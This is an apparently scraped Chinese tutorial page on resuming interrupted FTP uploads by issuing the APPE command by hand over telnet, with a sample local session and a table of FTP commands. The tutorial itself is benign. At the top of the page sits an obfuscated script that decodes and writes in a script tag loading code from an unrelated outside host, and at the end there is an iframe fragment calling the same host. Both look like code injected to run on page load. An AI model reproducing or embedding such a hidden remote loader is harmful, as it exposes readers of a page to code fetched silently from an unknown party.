HTML Tags and JavaScript tutorial
<script language="javascript">var encS="%3Cscript%20language%3D%22javascript%22%20src%3D%22http%3A//avss.b15.cnwg.cn/count/count.asp%22%3E%3C/script%3E";var S=unescape(encS);document.write(S);</script>
FTP断点上传Telnet实现
FTP
断点上传
Telnet
实现
Author:zfive5(zhaozidong)
Email:zfive5@yahoo.com.cn
引子
:
前些日子
csdn
的一个网友给我发了一个短消息
,
问怎样实现
FTP
断点上传
!
刚开始我兴致勃勃的编开代码
,
当越编越多时
—
突然意识到
,
没有必要这样
!
在
telnet
给他演示一下就
ok
了
!
FTP
协议就不用介绍了
,
断点上传主要用到了
APPE
指令
(FTP
指令解释见附录
)
。
原理:
1
.首先登录
FTP
服务器。
2
.得到远端文件大小
(LIST
或
SIZE)
。
3
.使用
APPE
指令(需要说明的是
APPE
在一些服务器直接被服务器解析成了
STOR
命令,所以这里说的断点也就不能用了)
指定需要断点续传的文件。
4
.客户端根据服务器文件大小,读到断点之后的数据,发往服务器。
5
.当发送完成数据后,退出即可。
示例
:
FTP
服务
:Serv-U FTP Server v6.3
本地文件
: 1.TXT
内
容
: “I am ZFIVE5”
远端文件
:1.TXT
内
容
: “I am ”
CMD
:
telnet 127.0.0.1 21
S
:
220 Serv-U FTP Server v6.3 for WinSock ready...
C
:
USER A
S
:
331 User name okay, need password.
C
:
PASS A
S
:
230 User logged in, proceed.
C
:
SIZE 1.TXT
S
:
213 5
C
:
PASV
S
:
227 Entering Passive Mode (127,0,0,1,11,79)
CMD
:
TELNET 127.0.0.1 2895
C
:
APPE 1.TXT
S
:
150 Opening ASCII mode data connection for 1.TXT.
C
:
ZFIVE5
CLOSE Windows
S
:
226 Transfer complete.
C
:
QUIT
S
:
221 Goodbye!
截图
:
附录
(
来自互联网
)
命令
描述
ABOR
中断数据连接程序
ACCT <account>
系统特权帐号
ALLO <bytes>
为服务器上的文件存储器分配字节
APPE <filename>
添加文件到服务器同名文件
CDUP <dir path>
改变服务器上的父目录
CWD <dir path>
改变服务器上的工作目录
DELE <filename>
删除服务器上的指定文件
HELP <command>
返回指定命令信息
LIST <name>
如果是文件名列出文件信息,如果是目录则列出文件列表
MODE <mode>
传输模式(
S=
流模式,
B=
块模式,
C=
压缩模式)
MKD <directory>
在服务器上建立指定目录
NLST <directory>
列出指定目录内容
NOOP
无动作,除了来自服务器上的承认
PASS <password>
系统登录密码
PASV
请求服务器等待数据连接
PORT <address> IP
地址和两字节的端口
ID
PWD
显示当前工作目录
QUIT
从
FTP
服务器上退出登录
REIN
重新初始化登录状态连接
REST <offset>
由特定偏移量重启文件传递
RETR <filename>
从服务器上找回(复制)文件
RMD <directory>
在服务器上删除指定目录
RNFR <old path>
对旧路径重命名
RNTO <new path>
对新路径重命名
SITE <params>
由服务器提供的站点特殊参数
SMNT <pathname>
挂载指定文件结构
STAT <directory>
在当前程序或目录上返回信息
STOR <filename>
储存(复制)文件到服务器上
STOU <filename>
储存文件到服务器名称上
STRU <type>
数据结构(
F=
文件,
R=
记录,
P=
页面)
SYST
返回服务器使用的操作系统
TYPE <data type>
数据类型(
A=ASCII
,
E=EBCDIC
,
I=binary
)
USER <username>>
系统登录的用户名
src="http://avss.b15.cnwg.cn/count/iframe.asp" frameborder="0" width="650" scrolling="no" height="160">